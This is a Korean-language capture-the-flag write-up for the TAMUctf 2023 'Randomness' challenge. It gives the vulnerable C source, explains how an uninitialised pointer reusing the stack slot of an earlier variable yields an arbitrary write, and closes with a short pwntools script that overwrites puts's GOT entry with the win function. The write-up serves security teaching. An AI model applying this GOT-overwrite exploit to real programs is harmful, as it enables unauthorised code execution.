CTF/Solved

TAMUctf 2023 - Randomness

wyv3rn 2023. 5. 1. 03:00
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void upkeep() {
    // Not related to the challenge, just some stuff so the remote works correctly
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void win() {
    char* argv[] = {"/bin/cat", "flag.txt", NULL};
    execve(argv[0], argv, NULL);
}

void foo() {
    unsigned long seed;
    puts("Enter a seed:");
    scanf("%lu", &seed);
    srand(seed);
}

void bar() {
    unsigned long a;

    puts("Enter your guess:");
    scanf("%lu", a);

    if (rand() == a) {
        puts("correct!");
    } else {
        puts("incorrect!");
    }
}


int main() {
    upkeep();
    puts("hello!");
    foo();
    bar();
    puts("goodbye!");
}

2.2. 분석

main 함수에서는 foo 이후 bar 함수를 실행해준다.

foo 함수에서는 srand의 seed 값으로 쓸 값을 입력 받는다.

bar 에서는 rand 값과 입력한 값이 맞는지 확인한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

동일한 변수의 크기를 가진 다른 두개의 함수를 실행할 때, 같은 위치를 참조하게된다.

 

3.2. 공격 준비

srand 및 rand는 사실 페이크고,

foo에서 사용한 seed 변수의 위치와

bar에서 사용한 a 변수의 위치가 동일하기 때문에 같은 위치를 참조하게 된다.

 

즉, foo에서는 &seed 형태로 값을 받고,

bar에서는 a로 값을 받기 때문에 결국 각각 입력하는 값들이 쓸 주소, 쓸 값의 형태를 띄게 된다.

 

마지막에 puts 함수로 종료되며, win 함수를 가지고 있기 때문에 puts got을 win 함수로 overwrite 해주었다.

 

4. exploit

from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="randomness")
#p = process('./randomness')

p.sendlineafter(b'seed:\n',str(0x403470))
p.sendlineafter(b':\n',str(0x4011d3))

p.interactive()
728x90
반응형